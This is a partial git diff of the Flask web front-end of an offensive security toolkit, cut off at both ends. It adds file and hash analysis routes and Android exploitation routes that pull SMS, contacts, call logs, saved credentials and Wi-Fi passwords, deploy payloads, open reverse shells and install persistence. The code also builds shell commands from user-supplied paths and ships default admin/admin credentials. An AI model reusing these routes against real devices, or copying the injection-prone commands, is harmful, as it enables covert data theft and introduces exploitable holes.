from web.routes.targets import targets_bp + from web.routes.encmodules import encmodules_bp + + app.register_blueprint(auth_bp) + app.register_blueprint(dashboard_bp) + app.register_blueprint(defense_bp) + app.register_blueprint(offense_bp) + app.register_blueprint(counter_bp) + app.register_blueprint(analyze_bp) + app.register_blueprint(osint_bp) + app.register_blueprint(simulate_bp) + app.register_blueprint(settings_bp) + app.register_blueprint(upnp_bp) + app.register_blueprint(wireshark_bp) + app.register_blueprint(hardware_bp) + app.register_blueprint(android_exploit_bp) + app.register_blueprint(iphone_exploit_bp) + app.register_blueprint(android_protect_bp) + app.register_blueprint(wireguard_bp) + app.register_blueprint(revshell_bp) + app.register_blueprint(archon_bp) + app.register_blueprint(msf_bp) + app.register_blueprint(chat_bp) + app.register_blueprint(targets_bp) + app.register_blueprint(encmodules_bp) + + # Start network discovery advertising (mDNS + Bluetooth) + try: + from core.discovery import get_discovery_manager + enabled = config.get('discovery', 'enabled', fallback='true').lower() == 'true' + if enabled: + discovery = get_discovery_manager() + results = discovery.start_all() + for method, result in results.items(): + if result['ok']: + print(f" [discovery] {method}: {result['message']}") + except Exception as e: + print(f" [discovery] Warning: {e}") + + return app diff --git a/web/auth.py b/web/auth.py new file mode 100644 index 0000000..bd944fc --- /dev/null +++ b/web/auth.py @@ -0,0 +1,72 @@ +""" +AUTARCH Web Authentication +Session-based auth with bcrypt password hashing +""" + +import os +import functools +import hashlib +from pathlib import Path +from flask import session, redirect, url_for, request + +# Try bcrypt, fall back to hashlib +try: + import bcrypt + BCRYPT_AVAILABLE = True +except ImportError: + BCRYPT_AVAILABLE = False + + +def hash_password(password): + if BCRYPT_AVAILABLE: + return bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8') + # Fallback: SHA-256 with salt + salt = os.urandom(16).hex() + h = hashlib.sha256((salt + password).encode()).hexdigest() + return f"sha256${salt}${h}" + + +def check_password(password, password_hash): + if BCRYPT_AVAILABLE and password_hash.startswith('$2'): + return bcrypt.checkpw(password.encode('utf-8'), password_hash.encode('utf-8')) + # Fallback check + if password_hash.startswith('sha256$'): + _, salt, h = password_hash.split('$', 2) + return hashlib.sha256((salt + password).encode()).hexdigest() == h + # Plain text comparison for default password + return password == password_hash + + +def login_required(f): + @functools.wraps(f) + def decorated(*args, **kwargs): + if 'user' not in session: + return redirect(url_for('auth.login', next=request.url)) + return f(*args, **kwargs) + return decorated + + +def get_credentials_path(): + from core.paths import get_data_dir + return get_data_dir() / 'web_credentials.json' + + +def load_credentials(): + import json + cred_path = get_credentials_path() + if cred_path.exists(): + with open(cred_path) as f: + return json.load(f) + return {'username': 'admin', 'password': 'admin', 'force_change': True} + + +def save_credentials(username, password_hash, force_change=False): + import json + cred_path = get_credentials_path() + cred_path.parent.mkdir(parents=True, exist_ok=True) + with open(cred_path, 'w') as f: + json.dump({ + 'username': username, + 'password': password_hash, + 'force_change': force_change + }, f, indent=2) diff --git a/web/routes/__init__.py b/web/routes/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/web/routes/analyze.py b/web/routes/analyze.py new file mode 100644 index 0000000..f1a1771 --- /dev/null +++ b/web/routes/analyze.py @@ -0,0 +1,563 @@ +"""Analyze category route - file analysis, strings, hashes, log analysis, hex dump, compare.""" + +import os +import re +import zlib +import hashlib +import subprocess +from pathlib import Path +from datetime import datetime +from collections import Counter +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +analyze_bp = Blueprint('analyze', __name__, url_prefix='/analyze') + + +def _run_cmd(cmd, timeout=60): + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception: + return False, "" + + +def _validate_path(filepath): + """Validate and resolve a file path. Returns (Path, error_string).""" + if not filepath: + return None, 'No file path provided' + p = Path(filepath).expanduser() + if not p.exists(): + return None, f'File not found: {filepath}' + if not p.is_file(): + return None, f'Not a file: {filepath}' + return p, None + + +# ── Hash algorithm identification patterns ──────────────────────────── +HASH_PATTERNS = [ + # Simple hex hashes by length + {'name': 'CRC16', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{4}$', 'desc': '16-bit CRC'}, + {'name': 'CRC32', 'hashcat': 11500, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': '32-bit CRC checksum'}, + {'name': 'Adler32', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{8}$', 'desc': 'Adler-32 checksum'}, + {'name': 'MySQL323', 'hashcat': 200, 'regex': r'^[a-fA-F0-9]{16}$', 'desc': 'MySQL v3.23 (OLD_PASSWORD)'}, + {'name': 'MD2', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD2 (128-bit, obsolete)'}, + {'name': 'MD4', 'hashcat': 900, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD4 (128-bit, broken)'}, + {'name': 'MD5', 'hashcat': 0, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'MD5 (128-bit)'}, + {'name': 'NTLM', 'hashcat': 1000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'NTLM (Windows, 128-bit)'}, + {'name': 'LM', 'hashcat': 3000, 'regex': r'^[a-fA-F0-9]{32}$', 'desc': 'LAN Manager hash'}, + {'name': 'RIPEMD-160', 'hashcat': 6000, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'RIPEMD-160 (160-bit)'}, + {'name': 'SHA-1', 'hashcat': 100, 'regex': r'^[a-fA-F0-9]{40}$', 'desc': 'SHA-1 (160-bit, deprecated)'}, + {'name': 'Tiger-192', 'hashcat': 10000, 'regex': r'^[a-fA-F0-9]{48}$', 'desc': 'Tiger (192-bit)'}, + {'name': 'SHA-224', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{56}$', 'desc': 'SHA-224 (224-bit)'}, + {'name': 'SHA-256', 'hashcat': 1400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA-256 (256-bit)'}, + {'name': 'BLAKE2s-256', 'hashcat': None, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'BLAKE2s (256-bit)'}, + {'name': 'Keccak-256', 'hashcat': 17800, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'Keccak-256'}, + {'name': 'SHA3-256', 'hashcat': 17400, 'regex': r'^[a-fA-F0-9]{64}$', 'desc': 'SHA3-256'}, + {'name': 'SHA-384', 'hashcat': 10800, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA-384 (384-bit)'}, + {'name': 'SHA3-384', 'hashcat': 17500, 'regex': r'^[a-fA-F0-9]{96}$', 'desc': 'SHA3-384'}, + {'name': 'SHA-512', 'hashcat': 1700, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA-512 (512-bit)'}, + {'name': 'SHA3-512', 'hashcat': 17600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'SHA3-512'}, + {'name': 'BLAKE2b-512', 'hashcat': 600, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'BLAKE2b (512-bit)'}, + {'name': 'Keccak-512', 'hashcat': 18000, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'Keccak-512'}, + {'name': 'Whirlpool', 'hashcat': 6100, 'regex': r'^[a-fA-F0-9]{128}$', 'desc': 'Whirlpool (512-bit)'}, + # Structured / prefixed formats + {'name': 'MySQL41', 'hashcat': 300, 'regex': r'^\*[a-fA-F0-9]{40}$', 'desc': 'MySQL v4.1+ (SHA1)'}, + {'name': 'bcrypt', 'hashcat': 3200, 'regex': r'^\$2[aby]?\$\d{2}\$.{53}$', 'desc': 'bcrypt (Blowfish)'}, + {'name': 'MD5 Unix (crypt)', 'hashcat': 500, 'regex': r'^\$1\$.{0,8}\$[a-zA-Z0-9/.]{22}$', 'desc': 'MD5 Unix crypt ($1$)'}, + {'name': 'SHA-256 Unix (crypt)', 'hashcat': 7400, 'regex': r'^\$5\$(rounds=\d+\$)?[a-zA-Z0-9/.]{0,16}\$[a-zA-Z0-9/.]{43}$', 'desc': 'SHA-256 Unix crypt ($5$)'}, + {'name': 'SHA-512 Unix (crypt)', 'hashcat': 1800, 'regex': r'^\$6\$(rounds=\d+\$)?[a-zA-Z0-9/.]{0,16}\$[a-zA-Z0-9/.]{86}$', 'desc': 'SHA-512 Unix crypt ($6$)'}, + {'name': 'scrypt', 'hashcat': None, 'regex': r'^\$scrypt\$', 'desc': 'scrypt KDF'}, + {'name': 'Argon2', 'hashcat': None, 'regex': r'^\$argon2(i|d|id)\$', 'desc': 'Argon2 (i/d/id)'}, + {'name': 'PBKDF2-SHA256', 'hashcat': 10900, 'regex': r'^\$pbkdf2-sha256\$', 'desc': 'PBKDF2-HMAC-SHA256'}, + {'name': 'PBKDF2-SHA1', 'hashcat': None, 'regex': r'^\$pbkdf2\$', 'desc': 'PBKDF2-HMAC-SHA1'}, + {'name': 'Cisco Type 5', 'hashcat': 500, 'regex': r'^\$1\$[a-zA-Z0-9/.]{0,8}\$[a-zA-Z0-9/.]{22}$', 'desc': 'Cisco IOS Type 5 (MD5)'}, + {'name': 'Cisco Type 8', 'hashcat': 9200, 'regex': r'^\$8\$[a-zA-Z0-9/.]{14}\$[a-zA-Z0-9/.]{43}$', 'desc': 'Cisco Type 8 (PBKDF2-SHA256)'}, + {'name': 'Cisco Type 9', 'hashcat': 9300, 'regex': r'^\$9\$[a-zA-Z0-9/.]{14}\$[a-zA-Z0-9/.]{43}$', 'desc': 'Cisco Type 9 (scrypt)'}, + {'name': 'Django PBKDF2-SHA256', 'hashcat': 10000, 'regex': r'^pbkdf2_sha256\$\d+\$', 'desc': 'Django PBKDF2-SHA256'}, + {'name': 'WordPress (phpass)', 'hashcat': 400, 'regex': r'^\$P\$[a-zA-Z0-9/.]{31}$', 'desc': 'WordPress / phpBB3 (phpass)'}, + {'name': 'Drupal7', 'hashcat': 7900, 'regex': r'^\$S\$[a-zA-Z0-9/.]{52}$', 'desc': 'Drupal 7 (SHA-512 iterated)'}, + # HMAC / salted + {'name': 'HMAC-MD5', 'hashcat': 50, 'regex': r'^[a-fA-F0-9]{32}:[a-fA-F0-9]+$', 'desc': 'HMAC-MD5 (hash:salt)'}, + {'name': 'HMAC-SHA1', 'hashcat': 150, 'regex': r'^[a-fA-F0-9]{40}:[a-fA-F0-9]+$', 'desc': 'HMAC-SHA1 (hash:salt)'}, + {'name': 'HMAC-SHA256', 'hashcat': 1450, 'regex': r'^[a-fA-F0-9]{64}:[a-fA-F0-9]+$', 'desc': 'HMAC-SHA256 (hash:salt)'}, +] + + +def _identify_hash(hash_str): + """Return list of possible hash algorithm matches for the given string.""" + matches = [] + for entry in HASH_PATTERNS: + if re.match(entry['regex'], hash_str): + matches.append({ + 'name': entry['name'], + 'hashcat': entry.get('hashcat'), + 'description': entry['desc'], + }) + return matches + + +@analyze_bp.route('/') +@login_required +def index(): + from core.menu import MainMenu + menu = MainMenu() + menu.load_modules() + modules = {k: v for k, v in menu.modules.items() if v.category == 'analyze'} + return render_template('analyze.html', modules=modules) + + +@analyze_bp.route('/file', methods=['POST']) +@login_required +def analyze_file(): + """Analyze a file - metadata, type, hashes.""" + data = request.get_json(silent=True) or {} + filepath = data.get('filepath', '').strip() + + p, err = _validate_path(filepath) + if err: + return jsonify({'error': err}) + + stat = p.stat() + + # File type detection + mime_type = '' + file_type = '' + try: + import magic + file_magic = magic.Magic(mime=True) + mime_type = file_magic.from_file(str(p)) + file_magic2 = magic.Magic() + file_type = file_magic2.from_file(str(p)) + except Exception: + success, output = _run_cmd(f"file '{p}'") + if success: + file_type = output.split(':', 1)[-1].strip() + + # Hashes + hashes = {} + try: + with open(p, 'rb') as f: + content = f.read() + hashes['md5'] = hashlib.md5(content).hexdigest() + hashes['sha1'] = hashlib.sha1(content).hexdigest() + hashes['sha256'] = hashlib.sha256(content).hexdigest() + except Exception: + pass + + return jsonify({ + 'path': str(p.absolute()), + 'size': stat.st_size, + 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(), + 'mime': mime_type, + 'type': file_type, + 'hashes': hashes, + }) + + +@analyze_bp.route('/strings', methods=['POST']) +@login_required +def extract_strings(): + """Extract strings from a file.""" + data = request.get_json(silent=True) or {} + filepath = data.get('filepath', '').strip() + min_len = data.get('min_len', 4) + + p, err = _validate_path(filepath) + if err: + return jsonify({'error': err}) + + min_len = max(2, min(20, int(min_len))) + success, output = _run_cmd(f"strings -n {min_len} '{p}' 2>/dev/null") + if not success: + return jsonify({'error': 'Failed to extract strings'}) + + lines = output.split('\n') + urls = [l for l in lines if re.search(r'https?://', l)][:20] + ips = [l for l in lines if re.search(r'\b\d+\.\d+\.\d+\.\d+\b', l)][:20] + emails = [l for l in lines if re.search(r'[\w.-]+@[\w.-]+', l)][:20] + paths = [l for l in lines if re.search(r'^/[a-z]', l, re.I)][:20] + + return jsonify({ + 'total': len(lines), + 'urls': urls, + 'ips': ips, + 'emails': emails, + 'paths': paths, + }) + + +@analyze_bp.route('/hash', methods=['POST']) +@login_required +def hash_lookup(): + """Hash lookup - return lookup URLs.""" + data = request.get_json(silent=True) or {} + hash_input = data.get('hash', '').strip() + + if not hash_input: + return jsonify({'error': 'No hash provided'}) + + hash_len = len(hash_input) + if hash_len == 32: + hash_type = 'MD5' + elif hash_len == 40: + hash_type = 'SHA1' + elif hash_len == 64: + hash_type = 'SHA256' + else: + return jsonify({'error': 'Invalid hash length (expected MD5/SHA1/SHA256)'}) + + return jsonify({ + 'hash_type': hash_type, + 'links': [ + {'name': 'VirusTotal', 'url': f'https://www.virustotal.com/gui/file/{hash_input}'}, + {'name': 'Hybrid Analysis', 'url': f'https://www.hybrid-analysis.com/search?query={hash_input}'}, + ] + }) + + +@analyze_bp.route('/log', methods=['POST']) +@login_required +def analyze_log(): + """Analyze a log file.""" + data = request.get_json(silent=True) or {} + filepath = data.get('filepath', '').strip() + + p, err = _validate_path(filepath) + if err: + return jsonify({'error': err}) + + try: + with open(p, 'r', errors='ignore') as f: + lines = f.readlines() + except Exception as e: + return jsonify({'error': f'Error reading file: {e}'}) + + # Extract IPs + all_ips = [] + for line in lines: + found = re.findall(r'\b(\d+\.\d+\.\d+\.\d+)\b', line) + all_ips.extend(found) + + ip_counts = Counter(all_ips).most_common(10) + + # Error count + errors = [l for l in lines if re.search(r'error|fail|denied|invalid', l, re.I)] + + # Time range + timestamps = [] + for line in lines: + match = re.search(r'(\w{3}\s+\d+\s+\d+:\d+:\d+)', line) + if match: + timestamps.append(match.group(1)) + + time_range = None + if timestamps: + time_range = {'first': timestamps[0], 'last': timestamps[-1]} + + return jsonify({ + 'total_lines': len(lines), + 'ip_counts': ip_counts, + 'error_count': len(errors), + 'time_range': time_range, + }) + + +@analyze_bp.route('/hex', methods=['POST']) +@login_required +def hex_dump(): + """Hex dump of a file.""" + data = request.get_json(silent=True) or {} + filepath = data.get('filepath', '').strip() + offset = data.get('offset', 0) + length = data.get('length', 256) + + p, err = _validate_path(filepath) + if err: + return jsonify({'error': err}) + + offset = max(0, int(offset)) + length = max(1, min(4096, int(length))) + + try: + with open(p, 'rb') as f: + f.seek(offset) + raw = f.read(length) + except Exception as e: + return jsonify({'error': f'Error reading file: {e}'}) + + lines = [] + for i in range(0, len(raw), 16): + chunk = raw[i:i + 16] + hex_part = ' '.join(f'{b:02x}' for b in chunk) + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + lines.append(f'{offset + i:08x} {hex_part:<48} {ascii_part}') + + return jsonify({'hex': '\n'.join(lines)}) + + +@analyze_bp.route('/compare', methods=['POST']) +@login_required +def compare_files(): + """Compare two files.""" + data = request.get_json(silent=True) or {} + file1 = data.get('file1', '').strip() + file2 = data.get('file2', '').strip() + + p1, err1 = _validate_path(file1) + if err1: + return jsonify({'error': f'File 1: {err1}'}) + p2, err2 = _validate_path(file2) + if err2: + return jsonify({'error': f'File 2: {err2}'}) + + s1, s2 = p1.stat().st_size, p2.stat().st_size + + # Hashes + def get_hashes(path): + with open(path, 'rb') as f: + content = f.read() + return { + 'md5': hashlib.md5(content).hexdigest(), + 'sha256': hashlib.sha256(content).hexdigest(), + } + + h1 = get_hashes(p1) + h2 = get_hashes(p2) + + # Diff + diff_text = '' + if h1['sha256'] != h2['sha256']: + success, output = _run_cmd(f"diff '{p1}' '{p2}' 2>/dev/null | head -30") + if success: + diff_text = output + + return jsonify({ + 'file1_size': s1, + 'file2_size': s2, + 'size_diff': abs(s1 - s2), + 'md5_match': h1['md5'] == h2['md5'], + 'sha256_match': h1['sha256'] == h2['sha256'], + 'diff': diff_text, + }) + + +# ── Hash Toolkit routes ────────────────────────────────────────────── + +@analyze_bp.route('/hash-detection') +@login_required +def hash_detection(): + """Hash Toolkit page.""" + return render_template('hash_detection.html') + + +@analyze_bp.route('/hash-detection/identify', methods=['POST']) +@login_required +def hash_identify(): + """Identify possible hash algorithms for a given string.""" + data = request.get_json(silent=True) or {} + hash_input = data.get('hash', '').strip() + if not hash_input: + return jsonify({'error': 'No hash string provided'}) + + matches = _identify_hash(hash_input) + if not matches: + return jsonify({ + 'hash': hash_input, 'length': len(hash_input), + 'matches': [], 'message': 'No matching hash algorithms found', + }) + + return jsonify({'hash': hash_input, 'length': len(hash_input), 'matches': matches}) + + +@analyze_bp.route('/hash-detection/file', methods=['POST']) +@login_required +def hash_file(): + """Compute multiple hash digests for a file.""" + data = request.get_json(silent=True) or {} + filepath = data.get('filepath', '').strip() + + p, err = _validate_path(filepath) + if err: + return jsonify({'error': err}) + + try: + with open(p, 'rb') as f: + content = f.read() + return jsonify({ + 'path': str(p.absolute()), + 'size': len(content), + 'hashes': { + 'crc32': format(zlib.crc32(content) & 0xffffffff, '08x'), + 'md5': hashlib.md5(content).hexdigest(), + 'sha1': hashlib.sha1(content).hexdigest(), + 'sha256': hashlib.sha256(content).hexdigest(), + 'sha512': hashlib.sha512(content).hexdigest(), + }, + }) + except Exception as e: + return jsonify({'error': f'Error reading file: {e}'}) + + +@analyze_bp.route('/hash-detection/text', methods=['POST']) +@login_required +def hash_text(): + """Hash arbitrary text with a selectable algorithm.""" + data = request.get_json(silent=True) or {} + text = data.get('text', '') + algorithm = data.get('algorithm', 'sha256').lower().strip() + + if not text: + return jsonify({'error': 'No text provided'}) + + text_bytes = text.encode('utf-8') + + algo_map = { + 'md5': lambda b: hashlib.md5(b).hexdigest(), + 'sha1': lambda b: hashlib.sha1(b).hexdigest(), + 'sha224': lambda b: hashlib.sha224(b).hexdigest(), + 'sha256': lambda b: hashlib.sha256(b).hexdigest(), + 'sha384': lambda b: hashlib.sha384(b).hexdigest(), + 'sha512': lambda b: hashlib.sha512(b).hexdigest(), + 'sha3-256': lambda b: hashlib.sha3_256(b).hexdigest(), + 'sha3-512': lambda b: hashlib.sha3_512(b).hexdigest(), + 'blake2b': lambda b: hashlib.blake2b(b).hexdigest(), + 'blake2s': lambda b: hashlib.blake2s(b).hexdigest(), + 'crc32': lambda b: format(zlib.crc32(b) & 0xffffffff, '08x'), + } + + if algorithm == 'all': + results = {} + for name, fn in algo_map.items(): + try: + results[name] = fn(text_bytes) + except Exception: + results[name] = '(not available)' + return jsonify({'text_length': len(text), 'algorithm': 'all', 'hashes': results}) + + fn = algo_map.get(algorithm) + if not fn: + return jsonify({'error': f'Unknown algorithm: {algorithm}. Available: {", ".join(sorted(algo_map.keys()))}'}) + + return jsonify({'text_length': len(text), 'algorithm': algorithm, 'hash': fn(text_bytes)}) + + +@analyze_bp.route('/hash-detection/mutate', methods=['POST']) +@login_required +def hash_mutate(): + """Change a file's hash by appending bytes to a copy.""" + data = request.get_json(silent=True) or {} + filepath = data.get('filepath', '').strip() + method = data.get('method', 'random').strip() + num_bytes = data.get('num_bytes', 4) + + p, err = _validate_path(filepath) + if err: + return jsonify({'error': err}) + + num_bytes = max(1, min(1024, int(num_bytes))) + + try: + with open(p, 'rb') as f: + original = f.read() + + # Compute original hashes + orig_hashes = { + 'md5': hashlib.md5(original).hexdigest(), + 'sha256': hashlib.sha256(original).hexdigest(), + } + + # Generate mutation bytes + if method == 'null': + extra = b'\x00' * num_bytes + elif method == 'space': + extra = b'\x20' * num_bytes + elif method == 'newline': + extra = b'\n' * num_bytes + else: # random + extra = os.urandom(num_bytes) + + mutated = original + extra + + # Write mutated copy next to original + stem = p.stem + suffix = p.suffix + out_path = p.parent / f'{stem}_mutated{suffix}' + with open(out_path, 'wb') as f: + f.write(mutated) + + new_hashes = { + 'md5': hashlib.md5(mutated).hexdigest(), + 'sha256': hashlib.sha256(mutated).hexdigest(), + } + + return jsonify({ + 'original_path': str(p.absolute()), + 'mutated_path': str(out_path.absolute()), + 'original_size': len(original), + 'mutated_size': len(mutated), + 'bytes_appended': num_bytes, + 'method': method, + 'original_hashes': orig_hashes, + 'new_hashes': new_hashes, + }) + except Exception as e: + return jsonify({'error': f'Mutation failed: {e}'}) + + +@analyze_bp.route('/hash-detection/generate', methods=['POST']) +@login_required +def hash_generate(): + """Create dummy test files with known content and return their hashes.""" + data = request.get_json(silent=True) or {} + output_dir = data.get('output_dir', '/tmp').strip() + filename = data.get('filename', 'hashtest').strip() + content_type = data.get('content_type', 'random').strip() + size = data.get('size', 1024) + custom_text = data.get('custom_text', '') + + out_dir = Path(output_dir).expanduser() + if not out_dir.exists(): + return jsonify({'error': f'Directory not found: {output_dir}'}) + if not out_dir.is_dir(): + return jsonify({'error': f'Not a directory: {output_dir}'}) + + size = max(1, min(10 * 1024 * 1024, int(size))) # cap at 10MB + + # Generate content + if content_type == 'zeros': + content = b'\x00' * size + elif content_type == 'ones': + content = b'\xff' * size + elif content_type == 'pattern': + pattern = b'ABCDEFGHIJKLMNOP' + content = (pattern * (size // len(pattern) + 1))[:size] + elif content_type == 'text' and custom_text: + raw = custom_text.encode('utf-8') + content = (raw * (size // len(raw) + 1))[:size] if raw else os.urandom(size) + else: # random + content = os.urandom(size) + + # Sanitize filename + safe_name = re.sub(r'[^\w.\-]', '_', filename) + out_path = out_dir / safe_name + try: + with open(out_path, 'wb') as f: + f.write(content) + + hashes = { + 'crc32': format(zlib.crc32(content) & 0xffffffff, '08x'), + 'md5': hashlib.md5(content).hexdigest(), + 'sha1': hashlib.sha1(content).hexdigest(), + 'sha256': hashlib.sha256(content).hexdigest(), + 'sha512': hashlib.sha512(content).hexdigest(), + } + + return jsonify({ + 'path': str(out_path.absolute()), + 'size': len(content), + 'content_type': content_type, + 'hashes': hashes, + }) + except Exception as e: + return jsonify({'error': f'File creation failed: {e}'}) diff --git a/web/routes/android_exploit.py b/web/routes/android_exploit.py new file mode 100644 index 0000000..e7b15d6 --- /dev/null +++ b/web/routes/android_exploit.py @@ -0,0 +1,984 @@ +"""Android Exploitation routes - App extraction, recon, payloads, boot, root.""" + +import os +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +android_exploit_bp = Blueprint('android_exploit', __name__, url_prefix='/android-exploit') + + +def _get_mgr(): + from core.android_exploit import get_exploit_manager + return get_exploit_manager() + + +def _get_serial(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + if not serial: + # Auto-detect if only one device connected + devices = _get_mgr().hw.adb_devices() + online = [d for d in devices if d.get('state') == 'device'] + if len(online) == 1: + return online[0]['serial'], None + return None, jsonify({'error': 'No device serial provided (and multiple/no devices found)'}) + return serial, None + + +@android_exploit_bp.route('/') +@login_required +def index(): + from core.hardware import get_hardware_manager + hw = get_hardware_manager() + status = hw.get_status() + return render_template('android_exploit.html', status=status) + + +# ── App Extraction ──────────────────────────────────────────────── + +@android_exploit_bp.route('/apps/list', methods=['POST']) +@login_required +def apps_list(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + include_system = data.get('include_system', False) + return jsonify(_get_mgr().list_packages(serial, include_system=include_system)) + + +@android_exploit_bp.route('/apps/pull-apk', methods=['POST']) +@login_required +def apps_pull_apk(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_get_mgr().pull_apk(serial, package)) + + +@android_exploit_bp.route('/apps/pull-data', methods=['POST']) +@login_required +def apps_pull_data(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_get_mgr().pull_app_data(serial, package)) + + +@android_exploit_bp.route('/apps/shared-prefs', methods=['POST']) +@login_required +def apps_shared_prefs(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + if not package: + return jsonify({'error': 'No package provided'}) + return jsonify(_get_mgr().extract_shared_prefs(serial, package)) + + +# ── Device Recon ────────────────────────────────────────────────── + +@android_exploit_bp.route('/recon/device-dump', methods=['POST']) +@login_required +def recon_device_dump(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().full_device_dump(serial)) + + +@android_exploit_bp.route('/recon/accounts', methods=['POST']) +@login_required +def recon_accounts(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().get_accounts(serial)) + + +@android_exploit_bp.route('/recon/wifi', methods=['POST']) +@login_required +def recon_wifi(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().get_wifi_passwords(serial)) + + +@android_exploit_bp.route('/recon/calls', methods=['POST']) +@login_required +def recon_calls(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + limit = int(data.get('limit', 200)) + return jsonify(_get_mgr().extract_call_logs(serial, limit=limit)) + + +@android_exploit_bp.route('/recon/sms', methods=['POST']) +@login_required +def recon_sms(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + limit = int(data.get('limit', 200)) + return jsonify(_get_mgr().extract_sms(serial, limit=limit)) + + +@android_exploit_bp.route('/recon/contacts', methods=['POST']) +@login_required +def recon_contacts(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_contacts(serial)) + + +@android_exploit_bp.route('/recon/browser', methods=['POST']) +@login_required +def recon_browser(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_browser_history(serial)) + + +@android_exploit_bp.route('/recon/credentials', methods=['POST']) +@login_required +def recon_credentials(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().extract_saved_credentials(serial)) + + +@android_exploit_bp.route('/recon/export', methods=['POST']) +@login_required +def recon_export(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().export_recon_report(serial)) + + +# ── Payload Deployment ──────────────────────────────────────────── + +@android_exploit_bp.route('/payload/deploy', methods=['POST']) +@login_required +def payload_deploy(): + serial = request.form.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + remote_path = request.form.get('remote_path', '/data/local/tmp/').strip() + f = request.files.get('file') + if not f: + return jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().deploy_binary(serial, upload_path, remote_path)) + + +@android_exploit_bp.route('/payload/execute', methods=['POST']) +@login_required +def payload_execute(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + remote_path = data.get('remote_path', '').strip() + args = data.get('args', '') + background = data.get('background', True) + if not remote_path: + return jsonify({'error': 'No remote_path provided'}) + return jsonify(_get_mgr().execute_payload(serial, remote_path, args=args, background=background)) + + +@android_exploit_bp.route('/payload/reverse-shell', methods=['POST']) +@login_required +def payload_reverse_shell(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + lhost = data.get('lhost', '').strip() + lport = data.get('lport', '') + method = data.get('method', 'nc').strip() + if not lhost or not lport: + return jsonify({'error': 'Missing lhost or lport'}) + return jsonify(_get_mgr().setup_reverse_shell(serial, lhost, int(lport), method)) + + +@android_exploit_bp.route('/payload/persistence', methods=['POST']) +@login_required +def payload_persistence(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + method = data.get('method', 'init.d').strip() + return jsonify(_get_mgr().install_persistence(serial, method)) + + +@android_exploit_bp.route('/payload/list', methods=['POST']) +@login_required +def payload_list(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().list_running_payloads(serial)) + + +@android_exploit_bp.route('/payload/kill', methods=['POST']) +@login_required +def payload_kill(): + serial, err = _get_serial() + if err: + return err + data = request.get_json(silent=True) or {} + pid = data.get('pid', '').strip() + if not pid: + return jsonify({'error': 'No PID provided'}) + return jsonify(_get_mgr().kill_payload(serial, pid)) + + +# ── Boot / Recovery ─────────────────────────────────────────────── + +@android_exploit_bp.route('/boot/info', methods=['POST']) +@login_required +def boot_info(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().get_bootloader_info(serial)) + + +@android_exploit_bp.route('/boot/backup', methods=['POST']) +@login_required +def boot_backup(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().backup_boot_image(serial)) + + +@android_exploit_bp.route('/boot/unlock', methods=['POST']) +@login_required +def boot_unlock(): + serial, err = _get_serial() + if err: + return err + return jsonify(_get_mgr().unlock_bootloader(serial)) + + +@android_exploit_bp.route('/boot/flash-recovery', methods=['POST']) +@login_required +def boot_flash_recovery(): + serial = request.form.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + f = request.files.get('file') + if not f: + return jsonify({'error': 'No file uploaded'}) + from core.paths import get_uploads_dir + upload_path = str(get_uploads_dir() / f.filename) + f.save(upload_path) + return jsonify(_get_mgr().flash_recovery(serial, upload_path)) + + +@android_exploit_bp.route('/boot/flash-boot', methods=['POST']) +@login_required +def boot_flash_boot(): + serial = request.form.get('serial', '').strip() + if not serial: + return jsonify({'error': 'No serial provided'}) + f = request.files.get('file') + if not f: + return 